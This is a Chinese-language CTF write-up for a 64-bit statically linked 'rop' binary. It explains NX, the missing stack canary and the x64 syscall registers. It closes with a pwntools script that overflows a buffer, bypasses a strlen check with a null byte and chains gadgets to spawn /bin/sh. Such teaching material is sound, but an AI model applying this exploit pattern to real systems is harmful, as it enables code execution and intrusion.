解 ROP 之工具與詳細流程

Monday, February 17, 2020

ROP writeup

checksec rop

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

file rop

rop: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=6608f6b8f49633b8d8248f7665b6ba35659a595a, not stripped

線索1:statically linked

動態連結是當程式執行時,才會去 library binding (.so 或 .dll)
靜態連結是指程式在連結階段時,就會將使用到的函式一併放入執行檔

比較 動態連結 靜態連結
連結 library runtime 階段 linking 階段
連結方式 建立 GOT 表 與執行檔合併
檔案大小 較小 較大
libray 檔案類型 .so 或 .dll .a 或 .lib

因此我們可使用 ROPgadget 在此ELF找出 ROP gadget,來取得 執行權限

ROPgadget --binary rop | grep "正規表達式"

補充: grep 是屬於 BRE 派系,使用正規表達式時,須跳脫字元。

線索2:NX is enabled

* NX 若關閉,則可寫入 shellcode
* NX 若開啟,則可透過 ROP chain 技巧執行 shell

因為 NX 是開啟的,也就是說 data 段是沒有執行能力的。 因此我們無法使用 shellcode 寫入 data 段,直接執行 shell

然而,我們可以使用 ROP 技巧來執行 shell 我們可透過 readelf -S 檔案 指令得知 data段 是可寫入資料的。

如何找 data section 位址?

使用 readelf -S filename 指令可查看所有 section 的位址 我們只需看 data section的部份即可

data區段雖然在此程式無法執行,但可寫入 "/bin/sh"字串作為納入 shell 參數的暫存區塊

readelf -S rop

或是

readelf -S rop | grep ".data"

即可知道 0x6ca080 是 data section 位址

線索3: No canary

使用 r2 反組譯後由於 read 最多可以讀取 0xc8 (200) 個字元, 且輸入到的 local buffer 大小只有 32 bytes, 因此可使用 bof (buffer overflow) 技巧來建立 ROP chain。

另外必須要注意,輸入字串後仍會檢查字串長度是否小於等於 32 個, 必須在輸入30個bytes大小的字串後,額外加入 空字元,繞過strlen()的超過長度的判斷,才繼續接 ROP chain

ROP chain

ROP = Return Oriented Programming

顧名思義,就是利用 結尾有 ret 的 gadgets (一小段 x86 組語),繞過 NX 的保護機制,來湊成我們想要做的事情。

對於 pwn ,我們就是希望可以透過 ROP chain 湊成 execve("/bin/sh", 0, 0),來取得執行 shell 的系統權限。

另外,在撰寫 ROP 時,必須確認該 ELF 是 x86 還是 x64,因為 兩者的 system call 的呼叫(傳參)方式不同

x64呼叫慣例

rdi: 第一個參數存放的暫存器
rsi: 第二個參數存放的暫存器
rdx: 第三個參數存放的暫存器

舉例來說,呼叫 execve("/bin/sh", 0, 0)
暫存器會呈現

rax = 0x3b (system call 的編號)
rdi = address of "/bin/sh"
rsi = 0x0
rdx = 0x0

只要透過 ROP 將這些暫存器改成上述的值,chain結尾再呼叫 syscall,此程式在overflow之後就會執行 shell 了。

解法

from pwn import *

r = process("./rop")
data_sec = 0x06ca080
gadget1 = 0x04014f6 # pop rdi ; ret
gadget2 = 0x0401617 # pop rsi ; ret
gadget3 = 0x047a712 # mov qword ptr [rdi], rsi ; ret
gadget4 = 0x0442a19 # pop rdx ; pop rsi ; ret
gadget5 = 0x044f6cc # pop rax ; ret
syscall = 0x04003da

rop =  p64(gadget1) + p64(data_sec)
rop += p64(gadget2) + "/bin/sh\x00"
rop += p64(gadget3)
rop += p64(gadget4) + p64(0x0)*2
rop += p64(gadget5) + p64(0x3b) 
rop += p64(syscall)

r.recvuntil("\n")
r.send('a'*30+'\x00'+'a'*9 + rop)

r.interactive()
CTF pwnCTFpwn

靜態分析工具介紹

Hugo Tutorial